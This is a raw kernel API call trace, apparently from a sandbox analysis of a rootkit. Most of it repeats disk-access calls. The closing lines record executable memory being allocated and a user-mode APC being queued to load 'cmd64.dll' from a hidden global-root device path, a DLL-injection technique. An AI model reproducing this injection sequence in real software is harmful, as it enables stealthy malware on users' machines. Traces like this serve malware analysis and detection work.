Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.406] IdePortDispatch () returned 0x103 [0071.407] KeWaitForMutexObject () returned 0x0 [0071.407] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.407] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.407] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.407] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.407] IdePortDispatch () returned 0x103 [0071.407] KeWaitForMutexObject () returned 0x0 [0071.407] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.407] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.407] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.407] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.407] IdePortDispatch () returned 0x103 [0071.408] KeWaitForMutexObject () returned 0x0 [0071.408] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.408] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.408] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.408] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.408] IdePortDispatch () returned 0x103 [0071.408] KeWaitForMutexObject () returned 0x0 [0071.408] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.408] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.408] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.408] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.408] IdePortDispatch () returned 0x103 [0071.409] KeWaitForMutexObject () returned 0x0 [0071.409] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.409] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.409] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.409] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.409] IdePortDispatch () returned 0x103 [0071.409] KeWaitForMutexObject () returned 0x0 [0071.409] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.409] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.409] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.409] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.409] IdePortDispatch () returned 0x103 [0071.410] KeWaitForMutexObject () returned 0x0 [0071.410] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.410] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.410] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.410] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.410] IdePortDispatch () returned 0x103 [0071.410] KeWaitForMutexObject () returned 0x0 [0071.419] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.419] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.419] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.419] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.419] IdePortDispatch () returned 0x103 [0071.420] KeWaitForMutexObject () returned 0x0 [0071.420] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.420] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.420] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.420] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.420] IdePortDispatch () returned 0x103 [0071.420] KeWaitForMutexObject () returned 0x0 [0071.420] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.420] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.420] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.420] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.420] IdePortDispatch () returned 0x103 [0071.421] KeWaitForMutexObject () returned 0x0 [0071.421] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.421] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.422] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.422] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.422] IdePortDispatch () returned 0x103 [0071.422] KeWaitForMutexObject () returned 0x0 [0071.422] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.422] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.422] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.422] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.422] IdePortDispatch () returned 0x103 [0071.422] KeWaitForMutexObject () returned 0x0 [0071.423] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.423] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.423] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.423] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.423] IdePortDispatch () returned 0x103 [0071.423] KeWaitForMutexObject () returned 0x0 [0071.423] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.423] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.423] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.423] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.423] IdePortDispatch () returned 0x103 [0071.424] KeWaitForMutexObject () returned 0x0 [0071.424] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.424] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.424] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.424] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.424] IdePortDispatch () returned 0x103 [0071.424] KeWaitForMutexObject () returned 0x0 [0071.424] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.424] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.424] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.424] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.424] IdePortDispatch () returned 0x103 [0071.425] KeWaitForMutexObject () returned 0x0 [0071.425] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.425] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.425] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.425] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.425] IdePortDispatch () returned 0x103 [0071.425] KeWaitForMutexObject () returned 0x0 [0071.425] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.425] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.425] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.425] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.425] IdePortDispatch () returned 0x103 [0071.426] KeWaitForMutexObject () returned 0x0 [0071.426] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.426] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.426] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.426] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.426] IdePortDispatch () returned 0x103 [0071.426] KeWaitForMutexObject () returned 0x0 [0071.426] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.426] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.426] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.426] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.426] IdePortDispatch () returned 0x103 [0071.427] KeWaitForMutexObject () returned 0x0 [0071.427] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.427] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.427] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.427] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.427] IdePortDispatch () returned 0x103 [0071.427] KeWaitForMutexObject () returned 0x0 [0071.427] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.427] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.427] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.427] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.427] IdePortDispatch () returned 0x103 [0071.428] KeWaitForMutexObject () returned 0x0 [0071.428] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.428] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.428] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.428] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.428] IdePortDispatch () returned 0x103 [0071.428] KeWaitForMutexObject () returned 0x0 [0071.428] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.428] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.428] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.429] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.429] IdePortDispatch () returned 0x103 [0071.429] KeWaitForMutexObject () returned 0x0 [0071.429] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.429] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.429] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.429] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.429] IdePortDispatch () returned 0x103 [0071.429] KeWaitForMutexObject () returned 0x0 [0071.429] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.430] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.430] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.430] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.430] IdePortDispatch () returned 0x103 [0071.430] KeWaitForMutexObject () returned 0x0 [0071.430] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.430] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.430] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.430] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.430] IdePortDispatch () returned 0x103 [0071.430] KeWaitForMutexObject () returned 0x0 [0071.431] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.431] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.431] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.431] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.431] IdePortDispatch () returned 0x103 [0071.431] KeWaitForMutexObject () returned 0x0 [0071.431] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.431] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.431] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.431] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.431] IdePortDispatch () returned 0x103 [0071.432] KeWaitForMutexObject () returned 0x0 [0071.432] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.432] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.432] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.432] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.432] IdePortDispatch () returned 0x103 [0071.432] KeWaitForMutexObject () returned 0x0 [0071.432] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.432] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.432] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.432] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.432] IdePortDispatch () returned 0x103 [0071.433] KeWaitForMutexObject () returned 0x0 [0071.433] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.433] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.433] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.433] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.433] IdePortDispatch () returned 0x103 [0071.433] KeWaitForMutexObject () returned 0x0 [0071.433] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.433] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.434] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.434] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.434] IdePortDispatch () returned 0x103 [0071.434] KeWaitForMutexObject () returned 0x0 [0071.434] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.434] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.434] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.434] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.434] IdePortDispatch () returned 0x103 [0071.434] KeWaitForMutexObject () returned 0x0 [0071.434] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.435] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.435] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.435] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.435] IdePortDispatch () returned 0x103 [0071.435] KeWaitForMutexObject () returned 0x0 [0071.435] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.435] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.435] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.435] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.435] IdePortDispatch () returned 0x103 [0071.435] KeWaitForMutexObject () returned 0x0 [0071.436] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.436] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.436] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.436] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.436] IdePortDispatch () returned 0x103 [0071.436] KeWaitForMutexObject () returned 0x0 [0071.436] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.436] KeLeaveCriticalRegion () [0071.436] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.436] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800001e8, BaseAddress=0xfffff88002f8fae0, ZeroBits=0x0, RegionSize=0xfffff88002f8f9f0, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f8fae0*=0x10000, RegionSize=0xfffff88002f8f9f0*=0x14000) returned 0x0 [0071.437] RtlImageNtHeader (BaseAddress=0x10000) returned 0x10040 [0071.437] RtlImageDirectoryEntryToData (in: BaseAddress=0x10000, MappedAsImage=1, Directory=0x5, Size=0xfffff88002f8fad8 | out: Size=0xfffff88002f8fad8) returned 0x0 [0071.437] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800001e8, BaseAddress=0xfffff88002f8fae8, ZeroBits=0x0, RegionSize=0xfffff88002f8f9f8, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f8fae8*=0x130000, RegionSize=0xfffff88002f8f9f8*=0x1000) returned 0x0 [0071.437] _snprintf (in: _Dest=0x130020, _Count=0x103, _Format="\\\\?\\globalroot%S" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 49 [0071.437] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa80034c35d0 [0071.437] KeInitializeApc (Apc=0xfffffa80034c35d0, Thread=0xfffffa800284a630, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027ca950, RundownRoutine=0x0, NormalRoutine=0x130128, Mode=0xfffff88000000001, Context=0x130000) [0071.437] KeInsertQueueApc (Apc=0xfffffa80034c35d0, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0071.437] ZwUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7fffffa0000) returned 0x0 [0071.437] ZwClose (Handle=0x14) returned 0x0 [0071.437] ZwClose (Handle=0xffffffff800001dc) returned 0x0 [0071.437] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0071.438] KeEnterCriticalRegion () [0071.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.438] IoGetRequestorProcess (Irp=0xfffffa80021e92b0) returned 0xfffffa80018ab040 [0071.438] FsRtlFastUnlockAll (FileLock=0xfffffa80027db068, FileObject=0xfffffa8003546f20, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0xc000007e [0071.438] 